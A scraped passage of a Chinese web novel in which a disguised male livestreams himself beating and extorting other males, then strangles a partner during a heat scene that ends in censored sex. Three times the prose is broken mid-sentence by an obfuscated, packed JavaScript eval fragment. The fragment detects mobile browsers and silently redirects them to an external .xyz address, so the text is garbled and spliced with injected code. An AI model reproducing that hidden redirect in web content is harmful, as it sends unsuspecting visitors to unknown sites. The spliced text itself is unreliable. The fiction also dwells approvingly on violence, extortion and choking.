l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736232|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哥哥讹钱辛苦了,蛋糕为您按摩放松一下。” “哥哥,我为您按摩累一点没关系的,只要哥哥开心就好……” 一路上,塔慕斯都在“哥哥,哥哥”地喊个不停,嗓音越来越乖越来越软,跟个离开哥哥就无法生存的小傻子似的。 小傻子体贴地为哥哥剥虾、剥螃蟹、挑鱼刺、烤肉,啥好吃的都要让哥哥尝第一口,然后才往自己嘴里塞食物。 厄眠发现塔慕斯是真能吃,干饭的速度飞快,排骨、猪蹄、大龙虾、牛排……短短十几分钟就把这些食物全部都炫了个遍,两边腮帮子被撑成两颗圆圆的小球,随着咀嚼的动作不停地动啊动,炫饭时还不忘弯起眼睛朝他笑。 这其中带有的目的性太过明显。 不过对方是塔慕斯,那个在13年后天天对他黑着一张脸的冷漠黑心上司。厄眠一想到平日里克扣小零食使唤自己干活的某位黑心上司,曾在年轻时为了某个目的不得不笑盈盈地讨好他伺候他,他就觉得无比快意。 厄眠在购物软件上为塔慕斯下单了90支营养液。 这是自助餐厅,所以塔慕斯才敢放开了吃,吃了那么多依然没有要停下的意思,以前在家里肯定没吃饱。由于要攒学费,自助餐厅这种地方肯定不能经常来,能帮助这个小矮子长身体的性价比最高的物品就是营养液。 90支,正好一个月的量,再加上雄保会每日提供的3支,一天喂6支,他就不信一个月后这小粉丝条条还不长胖,最好胖成一只小胖猪,脸颊的肉软乎乎地垂下去,没事就捏扯几下,那手感一定得劲儿。 一顿午饭一直吃了3个小时,厄眠才带着塔慕斯在服务员“友善”的微笑中离开餐厅。 登上飞行器,塔慕斯依然是第一时间为厄眠系安全带。 塔慕斯吃的太多了,起身为厄眠系安全带时,鼓囊囊的肚肚就抵住了厄眠的手臂,可他又太过消瘦,腰腹处没什么肉,肚肚的触感当然也就没有想象中的柔软,甚至被撑得肚皮紧绷微微发硬。 他听到身旁的雄虫发出一阵低低的笑声,抬眼迷惑地看过去。 厄眠笑了好一会儿,才朝塔慕斯那鼓得跟个大西瓜似的的肚肚伸出手,撩开衣服露出高高鼓起的白嫩肚皮,紧接着拍照留证。 他迫不及待想让某位黑心上司看到这些录音与照片,到时吃瘪的某人脸上会是什么表情呢? 那货心黑得很,估计不会顾及过去的情分,第一反应肯定是掏出刀子黑沉着脸给他一刀。 还未看到某位黑心上司黑沉着脸的画面,厄眠的脸色先黑沉下去。 院子中的土被刨了个底朝天,房子的窗户被砸烂,大大小小的玻璃碎片散落一地,客厅乱的不成样子,沙发被从中间劈开,苦瓜味牛奶被一盒盒踩扁,纯白的液体淌了一地…… “哥哥别生气,气多了对身体不好,我现在就打扫……”塔慕斯怕雄虫发怒,立即去拿打扫工具。 “不用。”厄眠拉住他,扯出一个暴戾的笑,“带上狼牙棒,干他丫的。” 上回替塔慕斯教训了几个欺辱过他的雄虫,这回的事想都不用想就知道是那几个雄虫干的,具体是谁不知道,反正统统揍一顿就行了。 就光自己揍多没劲啊,不如开一场直播,让大家都看看热闹乐呵乐呵,说不定还能顺带赚一笔打赏。 现在这具身体战斗力不高,所以揍人拉仇恨的事还是要稍微低调那么一些。厄眠注册了个新号,找了个遮挡身体的贴纸特效后开启直播,直播标题简单粗暴——干架。 22. 直播〔揍雄虫〕 飞行器平稳地停在雄虫1号的住处旁,直播间也零散地进了几名观众。 厄眠把终端放在机窗上固定好角度,让塔慕斯待在飞行器里等着。 “轰”的一声,狼牙棒把玻璃窗砸的稀碎,动静惊扰到里面的雄虫,带着一群雌侍怒气冲冲地冲出来。 为首的雄虫冲到一半动作突然顿住,眼底掠过一抹慌张与心虚,扬起脖子虚张声势地瞪着厄眠,说:“希泽迩又是你!老子操-你祖宗!这回又来发什么癫?!” 捕捉到对方异常的神态,厄眠扬起唇非常“友善”地笑了下,拎着狼牙棒慢慢走过去:“你猜。” 回忆起狼牙棒砸到身上带来的剧烈痛苦,雄虫的身体应激性地颤抖了下,掏出带刺的钢鞭眼神恶毒地瞪着他。 上次的事过后,雄虫把自己的雌君雌侍狠狠虐打了一遍,强迫他们替自己去教训希泽迩,可身边这些懦弱的雌虫被折磨的近乎断气都不敢去伤害一名B级雄虫,雄虫只得联系几个雄虫朋友去破坏希泽迩的住处。 钢鞭携着一股冷冽的风快速朝厄眠甩过去。 这具身体毕竟不如原本的身体好用,身体的反应速度不太能跟得上思维,不过对付这种没啥技巧只知道瞎甩鞭子的雄虫还是绰绰有余。厄眠轻松躲过鞭子,快速与雄虫拉进距离,一棒子打掉对方手中的鞭子。 鞭子掉落,雄虫的手被狼牙棒锋利的尖刺扎出鲜血,口中发出痛苦的哀嚎。 直播画面的上方飘过几个带着疑问与震惊的“?!” 直播软件对新号有扶持策略,新人主播的前几场直播会被系统随机推送至小部分用户的首页,血腥的画面瞬间吸引了那小部分用户进入直播间。 〔卧槽!?我以为“干架”这俩大字仅供娱乐,没想到主播居然他大爷的来真的!!!〕 〔这得什么深仇大恨啊?〕 〔吃瓜.jpg〕 〔居然敢开直播,赶着找警方要银手镯的咱还是头一回见。〕 〔银手镯是次要,我看主播是欠草了,想去橘子里捡肥皂(狗头.jpg)〕 〔……〕 厄眠所谓的低调就仅仅只是用贴纸特效遮挡住身体,且特效仅对自己使用。 刚刚那一击后,雄虫身旁的雌虫立即挡到他身前,然而雌虫不敢对厄眠动手,只能用身子作为肉垫将自己的雄主保护起来。 厄眠蹙眉收回手,抬脚踹到雌虫腿窝处,待雌虫的身子顺着力度跪下去,一把抓住雄虫的发将对方拽过来。 小部分眼尖的观众注意到了受害者那没有虫纹的光洁后颈,惊得打字的手都抖了起来。 〔卧槽!你们看见没?他脖子后面没有虫纹!对方是一名雄虫阁下!〕 〔看见了看见了!楼上要不说出来,我都以为是自己单身久了产生了幻觉!〕 〔敢伤害雄虫阁下?报警了,那些打赏的赶紧停手,别便宜了这个死刑犯!〕 〔有没有可能主播也是雄虫?〕 〔雄虫?我记得这种贴纸特效会根据使用者的身高自动调整尺寸,主播的这个身高比雄虫要高不少,更像是雌虫。〕 〔同意,主播身手还行,像是练过,娇贵的雄虫阁下哪儿受得了习武的苦啊?〕 〔……〕 快速增长的评论数量无疑增加了直播的曝光度。 虫族的雌雄比例严重失衡,上百名新生儿中仅仅只能出现一名雄虫。一些垃圾星的雌虫居民一辈子都无法亲眼见到雄虫,甚至连令自己诞生的雄性.精.子都来源于精.子库。 在虫族任何有关稀缺雄虫的话题都能引来不小的流量,直播间的热度随着“雄虫”这个关键词的不断增多而飙升。 雄虫身边的雌侍前几天刚被狠狠虐打,拖着受伤虚弱的身躯去保护自己的雄主,还没靠近就被厄眠直接一棒子敲晕。 厄眠拽着雄虫的头发,担心狼牙棒用多了把对方打残要赔钱,于是朝对方猛扇嘴巴子。 雄虫疼的呲牙咧嘴面目扭曲,脸高高地肿起来,眼底的阴狠变成带着痛苦的乞求:“嗷嗷!疼!别打了别打了,哥,不,大爷!你就是我大爷,大爷别打了,我错了嗷!疼疼疼!” 距离有些远,观众无法听清雄虫的声音,不过能清晰地看见雄虫那红肿的脸与嘴角流出的血,全部倒吸一口冷气。 受害者可是一名尊贵无比的雄虫阁下啊!怎么能遭受这种屈辱? 〔疯子!这主播就是一个疯子!去死啊!!〕 〔警察呢?雄保会呢?怎么还没到?〕 〔敢伤害尊贵的雄虫阁下,死刑!必须死刑!剥皮抽筋!〕 〔扔进兽笼!让那些雄性野兽*死他!〕 “20万。”厄眠说出一个数字。 “20万?!就你家那破窗户破沙发值20万?!”雄虫不可置信地瞪大眼睛。 厄眠扬起一个残忍的笑,眼底含着戏谑。 “不,不!不是我!”雄虫忽然反应过来,“跟我没关系,你家的事不是我做……” 带血的狼牙棒粗暴地将口腔撑开,雄虫后面的话哽在了喉咙中,仅能发出携着恐惧的“唔”声。 厄眠的账户中一旦有进账,就会被系统自动转移给债主,所以只能使用塔慕斯的收款码,待雄虫颤抖着手把钱转过去,才暂时放下狼牙棒。 直播间的观众已经被愤怒冲昏了理智,全在发弹幕咒主播去死。 收到钱,厄眠并未急着离开,扛着狼牙棒翘起二郎腿蛮横地坐在沙发上。 “去给哥倒杯水。” 雄虫表情呆愣,肿胀的脸颊上印着几十个巴掌印。 “聋了?”厄眠随手甩了一个耳光,抬起绿色的眸子淡漠地注视他,“再发愣把你眼珠子抠出来。” 冷冽的眼眸不含丝毫情感,如一只没有意识,仅为吞噬与杀戮而生的怪物。 雄虫心底升腾起一股庞大的恐惧感,待恐惧稍微退去一些时,身体已经主动将一杯水捧到对方手边。 “哗……”杯中的冷水浇到雄虫脸上,雄虫的身子猛地一抖,双腿发软直挺挺地跪下去。 “凉水?故意的?”厄眠抓住他的发。 “不,不……”雄虫躲避着他冰冷的视线,慌乱地爬起来去倒热水。 此时,直播间的观众才隐约反应过来什么,停止对“死”字的疯狂输出。 〔不对啊,阁下的雌侍似乎一直没对主播动过手,像是在顾忌什么,难不成主播也是雄虫?〕 〔死死死!剥皮抽筋拔骨凌迟鞭尸……〕 〔等等?啥?主播也是雄虫?!〕 〔什么雄虫?一个反社会的疯子而已,等警方到了有他好受的!最好扔进蛇窟,吊着一口命让毒蛇狠狠撕咬他!〕 厄眠连游戏都只会玩最简单的消消乐,要不是为了搞钱连直播都懒得开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736233|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不太清楚评论与弹幕这种东西,完全不会想到自己已经被咒骂了几千次。 脑海不自觉地浮现出塔慕斯在酒吧被欺辱的场景。 玻璃酒瓶砸到头部后裂开,身形消瘦的雌虫服务员被酒水浸湿了头发,发黄的短发上落了一层尖锐的玻璃渣,飞溅的玻璃渣划破脸颊,血液与酒水混合到一块,酒客粗暴地将酒瓶插-入口中,将刺激的酒液强行灌入…… 虫族为雌虫打上“奴隶”的烙印,逼迫优秀强大的雌虫臣服,并将无能暴戾的雄虫奉为尊贵无比的统治者。这种畸形的制度下培育出的雄虫压根就没几个好东西。如果在酒吧遇到雄虫顾客,塔慕斯遭受的折磨只会更加残忍。 厄眠转头瞥了眼飞行器的方向。 透过半开的机窗看不见一点儿塔慕斯的身影,估计是把身子缩到了座椅下方。 胆真小,怕成这样。 这货长大后整天逮着他欺压,好不容易找着机会能狠狠地教训回去,结果虫族的这些垃圾玩意抢先了他不知道多少步。 “想烫死哥么?废物,倒杯水都倒不好!”厄眠直接把水杯砸到雄虫身上,“啪啪”两个巴掌甩到脸上,紧接着使唤雄虫按摩。 “虚吗?力度重点。”话落,又是两个耳光。 “左边点,别跟头木驴似的不知道动。”这句话搭配了四个嘴巴子。 “让你按个摩都按不好,滚去给哥削苹果。”厄眠手中的狼牙棒挥到一半,雄虫立即打了一个激灵,抖着身子去削苹果。 “回来。”厄眠朝他扬起一个恶毒的笑,一字一顿道,“让你滚。” “啪啪啪”,雄虫脸上又多了三个手印,他的面色僵硬一瞬,躺到冰冷的地板上滚了起来。 雄虫受辱的画面迅速激起民愤。 雄虫统治了虫族千万年,“雄尊雌卑”的观念早已深深携刻进基因之中。在绝大多数雌虫的认知中,雌虫生来便是雄虫的奴隶,他们对“反抗”一词毫无概念,即使被凌-虐至残,也只会认为是卑劣的自己无法讨雄主欢心,依然不会将责任归咎到雄虫身上。 无数条恶毒的评论将主播骂到一个新高度,同时也将直播热度送上热度榜前十。 看腻了打滚,厄眠又使唤起雄虫在地上爬行,单纯的爬行还不够,姿势还必须足够阴暗,同手同脚下巴着地屁股朝天。 雄虫扭曲的丑陋姿态像极了深渊中那些为了“馈赠”而讨好他的卑劣物种。 * 恶灵丑陋的面容上挂着谄媚的笑,膝盖压在由白骨堆成的阶梯上,一步步爬向顶端的王座。 他坐在黑色王座之上,背部延伸出的黑色触手无聊地抚摸着王座扶手处镶嵌的头骨。 这仅是一只最低级的恶灵,即使进化出高等意识,在深渊也依旧是最低级的物种,刚爬几步就被守在王座一侧的高阶灵魔杀死。 “咕噜噜……”恶灵的头骨沿着阶梯向下滚去,喷涌出的血将干净的白骨阶梯弄脏。恶灵那无头的躯体依然留在阶梯上,诡异地保持着向上攀爬的姿势。 头颅停止滚动,血红的眼睛直勾勾地瞪向宫殿的最高处。 血肉,血肉…… 卑劣的低等恶灵至死都无法触及到那蕴含强大力量的血肉。 这个位面的雌虫与它们同样卑劣、低贱。 荒诞的是,前者是深渊之中的弱者,可雌虫却是能力凌驾于雄虫统治者之上的强者。 23. 精神错乱 厄眠从雄虫口中问出其他同伙的名字,动身去下一家。 飞行器刚刚离地,刺耳的警报声响起,无数颗红点落到飞行器上。 直播并未关闭,用于直播的终端依然放在机窗的窗台上,镜头对着飞行器外侧,当画面中出现警察的身影时,直播另一边的观众纷纷松了口气,觉得这个虐待雄虫阁下的暴徒终于能被处死了。 厄眠释放出属于雄虫的精神力,外面感应到雄虫精神力,立即就不敢继续行动了,纷纷放下手中的枪支。 厄眠低垂下视线去看塔慕斯,塔慕斯把自己缩成小小的一团,听见警报声,立即把瘦弱的身子往座椅下方挤,试图把整个身子都藏进去。 身份尊贵的雄虫几乎不用承担任何责任,顶多就是赔点钱。而雌虫不一样,即使塔慕斯只是待在飞行器中什么都没做,只要他与施暴的雄虫待在一起,他就要承担这件事的全部责任,虫族的制度就是如此畸形荒谬。 厄眠看着怯懦地缩成一团的塔慕斯,再想想某位黑心上司那天不怕地不怕狂妄到要灭了皇室谋权篡位的性子,用脚尖踢了踢塔慕斯的脚,压低声音嘲讽:“胆小鬼。” 塔慕斯没有出声,继续把身子往座椅下方缩,终于艰难地把自己完美地掩饰起来。 警员朝飞行器靠过去,机窗半开,飞行器中仅有一人,那这位便定然是雄虫阁下,他们立即弯下膝盖,朝机舱内的雄虫行了跪礼。 警员先是为刚才举枪的冒犯行为道歉,而后才开始询问厄眠与受害雄虫之间的矛盾。 施害者与受害者皆为雄虫,这件事便成了可以用钱解决的“矛盾”。 距离拉进,直播间观众能够清晰地听见交谈声,疯狂打字的手一顿,愣了数秒才反应过来,舆论顷刻间反转。 〔这意思是……雄虫?卧槽?主播居然是名尊贵的雄虫阁下?〕 〔抱歉,我刚刚骂的有点狠,为刚刚的不礼貌行为道歉,阁下您大人有大量千万别跟小的一般计较。〕 〔啊啊啊!阁下简直太酷啦!这强大到令雄虫都能臣服的气场!这完美的声音!请虫主狠狠鞭打我!〕 〔阁下还收雌侍么?收下我吧收下我吧!〕 〔阁下的性格真好,居然耐心地回答了警员的问题!我就知道一定是那位阁下先犯了错,谁是这位主播阁下的雌侍?赶紧主动站出来替雄主去惩教所领罚啊!〕 〔……〕 似乎只要主播是雄虫,无论做了什么事都能被原谅。更何况厄眠此刻的表现与那些蛮横无理只会给社会添乱的雄虫完全不同,对警方的调查十分配合,不过几分钟,舆论便倒向他这边。 经警方调查,今天的事的确是雄虫有错在先,是他先领着几个雄虫砸了希泽迩的家。 雄虫紧接着指控希泽迩前几天来揍他的事,警方一调查,发现又是雄虫先挑的事。雄虫之前不仅欺诈希泽迩的财产去赌博,每次去酒吧也都用各种法子忽悠希泽迩结账,导致希泽迩欠下酒吧不少债务。 一时间,事情传遍整颗雪绒星,“希泽迩”这个名字甚至登上了雪绒星年度最凄惨雄虫排行榜,这个排行榜专门为希泽迩所建,就孤零零地躺着那么一个名字。 为了防止厄眠再对其他雄虫下狠手,警方陪着厄眠把名单上的雄虫找了一遍。厄眠是不可能同意调解的,必须要报复回去,于是辛辛苦苦扇了一晚上的嘴巴子,手都扇肿了,总共讹到72万。 警员在旁边看着,厄眠为了不引起警方怀疑吓到塔慕斯那个胆小鬼,忍痛把从雄虫1号手中讹到的20万从塔慕斯账户转到自己账户,同时也悄悄将塔慕斯的收款码换回自己的,结果就是今天讹到的这些钱全部被系统强行转移出去用于还债。 厄眠气不过,离开前顺走雄虫家中所有的小零食,连土豆、牛肉、小番茄、鸡蛋之类的做饭食材也不放过。一旦雄虫对他明目张胆的抢劫行为表示什么不满,他就非常“友善”地举起狼牙棒朝对方挥手,若不是警员在场早就砸过去了。 用于直播的终端的位置一直未变过,能录制到厄眠拿着垃圾袋从冰箱顺食材的画面,虽然距离太远有些模糊,不过并不影响观看。 〔我就说不是主播的错,一位爱吃的雄虫阁下能有什么错?〕 〔我从来没想到“可爱”这个词可以用在成年雄虫身上,但是……啊啊啊!希泽迩阁下不停往袋袋里装小零食的动作真的好可爱!谁会不喜欢一个吃货雄虫啊?〕 〔呜呜,这么大的袋子自己扛,雌君呢?不来帮帮他吗?QAQ(心疼.jpg)〕 〔希泽迩阁下简直酷飞了!不在背后搞什么阴狠的小手段,直接用暴力让对方屈服!从未见过这么有血性的雄虫!〕 〔啊啊啊!可恶的特效,把我心爱的阁下从头遮挡到脚!谁有希泽迩阁下的照片?重金求购!〕 〔35号投了10颗深水鱼类。〕 〔千草的烧杯投了52颗手榴弹。〕 〔酷酷大叔送了99朵玫瑰。〕 〔……〕 这场直播赚了很多,足够为塔慕斯交完4年的学费。厄眠清楚塔慕斯的目的,为了享受到塔慕斯更长期的做饭服务,并未急着替他把学费缴清。 虽然不想替原主还债,可欠着债做什么都麻烦,厄眠拿出大部分收益去还债,看着瞬间减少的余额,只觉得烤蘑菇、大肘子、奶油蛋糕……在远离自己。 他刷到过不少与军雌有关的短视频,评论区都说参军又苦又累,要拿命与敌军厮杀换取功勋。 在厄眠眼中,塔慕斯就是在花30万买罪受,毕业了不好好上班做生意,非跑去参什么军,翅翼都给敌军整没了。在幻境中还手爪子欠摸他的翅膀,嗯,一定是被他粉白色的炫酷翅膀吸引到了,他就说粉色超级酷超级威风吧?搞不懂深渊里那群东西为啥非要以黑色为尊。 飞行器平稳停进家中的院落,厄眠弯下身子,用手戳了戳把自己缩成一团藏在座椅下方的塔慕斯,说:“到家了胆小鬼。” 塔慕斯没有回应,空气中仅能听到很弱的呼吸声。 厄眠掀起座椅的垫子,塔慕斯那被狭小空间挤成瘪瘪一团的身体立即舒展开来,如一颗被温水浸泡开的软糯糯柠檬夹心大珍珠,珍珠奶茶里面放的那种珍珠。 塔慕斯闭着眼睛,胸口缓缓起伏着,呼吸声绵长而清浅。 厄眠晃了晃他的身体,依然不见他清醒,只好骂骂咧咧地抱着他迈下飞行器。 他把塔慕斯丢到沙发上,又紧接着去飞行器中拎那几大包抢来的食物,把蔬菜与肉放入冰箱冷藏。 雪糕融化了不少,厄眠撕开包装袋舔着融化的液体,丝毫不顾及自己的形象。毕竟是为了买到1币1份的酒酿汤圆只穿一条内裤就往大街上跑的超级吃货,在美食面前形象这玩意压根就不存在。 【嘀——嘀——】 微弱的声音在厄眠脑海浮现,他蹙起眉,舔雪糕的速度丝毫不减。 【攻略系统绑定成功,欢迎来自蓝星的人类玩家!嘎!】 攻略系统?人类玩家? 舔干净包装袋,厄眠拿着雪糕棍棍嗦起来。 【玩家编号:001。】 【攻略目标:阿什戈泽,斯迩诺,慕安。】 【请玩家任选其一进行攻略,若攻略目标进度长时间不增加,本系统将对玩家进行抹杀。】 【攻略目标进度升至80%,本系统将给予奖励,任务奖励:返回蓝星。】 炫完一个雪糕,厄眠正准备炫第二个,忽地闻到一股甜腻的柠檬气息,甜腻的香味勾着他走向塔慕斯。 塔慕斯面色潮红,在柔软的沙发上蜷缩成扁扁的一团,额间微微发黄的发梢被汗水浸湿,喉咙中溢出低软的呻.吟。 裹携着浓郁柠檬糖信息素的汗水在空气中缓缓挥发,蒸腾出愈加强烈的甜腻气息。 厄眠用指腹沾了一颗晶莹的汗珠,将汗珠抹到唇边伸出舌尖舔了舔唇。 很甜,比雪糕与酒酿汤圆都要美味。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736234|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想用触手将这具甜美的躯体紧紧缠绕,想用一排排密集的小尖齿刺破皮肤, 蠕动吸盘吸干净每一颗携着甜腻气息的体.液,想…… 喉结滚动,唾液滑过喉咙,厄眠才猛然察觉喉管漫上的干涩,连腹部也漫上一股莫名的燥热。 没有触手,厄眠只好用两只手臂去抱塔慕斯,将鼻尖埋入对方侧颈不断蹭着,却越抱越觉得难受,涌起一股想将这颗巨大柠檬糖吞吃入腹的强烈欲望,用力去咬他的侧颈,发狂般地吸吮着腥甜的血液。 燥热感愈加强烈,意识也随之变得模糊,他想得到些什么,却又不知究竟想从塔慕斯身上得到什么东西,只好抱着塔慕斯没有目的地瞎啃,咬出一道道带血的牙印。 模糊间,厄眠看到从塔慕斯后颈蔓延开的黑色纹路,黑色纹路沿着皮肤缓慢地攀爬,每扩散一分,塔慕斯的表情就随之痛苦一分。 或许是觉得厄眠这样无目的的瞎啃浪费时间,系统好心出声提醒:【这是精神错乱,每名雌虫在成年后都会面临的问题。少部分体质特殊的雌虫会在精神错乱时发.情,并且散发出带有浓郁催.情成份的信息素。】 【简单来说就是*一顿就好了,快一些,完事后继续聊任务,10分钟够不够?嘎?】 “哥哥。”塔慕斯用发烫的手攥住厄眠的手指,睁着红润眸子直勾勾地注视他,用被情.欲折磨得轻微发颤的低哑声线说,“蛋糕喜欢哥哥,哥哥愿不愿意为蛋糕……深度精神疏导?” 听到“喜欢”一词,厄眠被影响的模糊的意识清明了些。 在塔慕斯的认知中,他就是“希泽迩”,那名暴戾残忍虐待过他数次的雄虫。短短几天时间,塔慕斯不可能对一名残忍的施暴者生出“喜欢”这种情绪。 “哥哥不喜欢蛋糕吗?”塔慕斯低低的嗓音染上哽咽,眼尾的水光也浓重了些,“不喜欢也没关系的,只要能陪在哥哥身边蛋糕就很开心了,蛋糕不会去找其他雄虫,即使为了哥哥死于精神崩溃蛋糕也愿意……” 厄眠安静地注视他,淡漠的视线将弥漫在这双含着泪水的漂亮眼眸表层的虚假情愫剥开,窥探着掩藏在眸底深处的真实。 塔慕斯垂下眼帘避开他的视线,抬起发烫的手臂环住他的脖颈,眼尾的水珠沿着面颊滑下去,与散发着甜腻气息的汗液混合到一块。 他用尾音上扬的嗓音继续讨好着:“哥哥不愿意为蛋糕精神疏导也没事的,哥哥不用在意蛋糕,无论怎么样蛋糕都永远属于哥哥,只要能永远陪在哥哥身边就很满足了……” 之前为了学费主动讨好,现在又为了精神疏导虚伪地表明心意,13年后更是为了谋反直接利用他的这条命去引诱恶灵滋养煞气。 这货还真是啥时候都一个德性。 厄眠喉咙中溢出一道极轻极冷的轻笑,微微眯起的绿色眸子泛出阴冷的光,发狠地扼住塔慕斯的脖颈:“永远属于我?” 塔慕斯的身子僵硬了一瞬,随即上扬脖颈,将一整截脖颈完整地呈现给厄眠,张了张嘴,无法发出声音,只好努力从喉咙中挤出一道沉闷的“嗯”声。 “跟我回深渊。”厄眠将拇指指腹压到他侧颈的脉搏处,感受着脉搏有力的跳动。 “嗯。”窒息感令塔慕斯意识昏沉面色发白。 “知道是什么地方么?”厄眠放轻手上的力度。 塔慕斯大张着唇呼吸氧气,努力扯起一个笑:“有哥哥的地方。” 厄眠彻底松开手,沉默地盯着塔慕斯脖颈处发青的手指印。 算了,跟一个比自己还小一岁小屁孩较什么劲? 现在这个太弱小了不好下手,那就等13年后去打那个大的。 “深度精神疏导怎么做?”厄眠问。 塔慕斯显然没预料到雄虫会不懂如何深度疏导,僵硬着身体用生涩的动作暗示着,可雄虫目光中的迷惑只增不减。 他合上眼皮,口中吐出的污秽词汇令他羞耻的眼睫都在打颤:“哥哥,用***……*我。”